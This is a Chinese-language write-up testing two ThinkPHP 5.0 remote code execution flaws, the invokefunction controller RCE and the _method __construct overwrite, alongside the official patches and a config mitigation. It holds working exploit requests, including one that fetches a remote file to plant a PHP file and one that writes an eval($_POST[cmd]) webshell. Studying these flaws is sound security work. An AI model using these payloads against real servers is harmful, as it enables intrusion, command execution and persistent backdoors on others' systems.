ThinkPHP5.0 漏洞測試
自從ThinkPHP發布漏洞補丁以來,服務器不知道多少次受到了批量掃描漏洞來抓取肉雞的請求
雖然官方早已發布補丁,還是想試一下TP漏洞,測試兩個漏洞
一、全版本執行漏洞
<!-- GET -->
http://127.0.0.1/ThinkPHP/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
由於對控制器名沒有明確的檢測,在沒有開啟強制路由的情況下,直接就可以執行phpinfo(),如果服務器未限制shell等函數的執行,便可以直接執行shell提權
詳細的漏洞執行過程可以參考 漏洞執行過程
官方補丁
加入正則表達式來限制控制器名
/* /thinkphp/library/think/App.php 555行 加入 */
if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
二、_method漏洞
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter[]=system&method=GET&get[]=dir
觸發條件
//Config.php
'var_method' => '_method'
利用$_POST['_method']
變量來傳遞真實的請求方法,當$_POST['_method']=__construct
時,Request類的method方法便會將該類的變量進行覆蓋,利用該方式將filter變量覆蓋為system等函數名,當內部進行參數過濾時便會進行執行任意命令
基於此可以直接上傳PHP文件 test.php
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown
生成一句話木馬
<!-- POST -->
http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^<?php+phpinfo();eval($_POST[cmd]);?^>+>>info.php
<!-- Headers -->
Content-Type:application/x-www-form-urlencoded
<!-- Body -->
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123
可以在config.php將_method設置為其他字符,或者升級TP
官方補丁
官方補丁中限制了_method可疑設置的請求方法,並在處理_method之后將其unset,無法再利用__construct進行變量覆蓋
/* thinkphp/library/think/Request.php */
public function method($method = false)
{
if (true === $method) {
// 獲取原始請求類型
return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
} else {
$this->method = 'POST';
}
unset($_POST[Config::get('var_method')]); //unset
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
}
}
return $this->method;
}
參考文章:
https://www.cnblogs.com/st404/p/10245844.html
https://mrxn.net/Infiltration/618.html
https://www.cnblogs.com/nul1/p/11863574.html
https://www.vulnbug.com/amp/thkphp5x-code-execution-vulnerabilities-and-bypass.html
https://www.freebuf.com/vuls/194127.html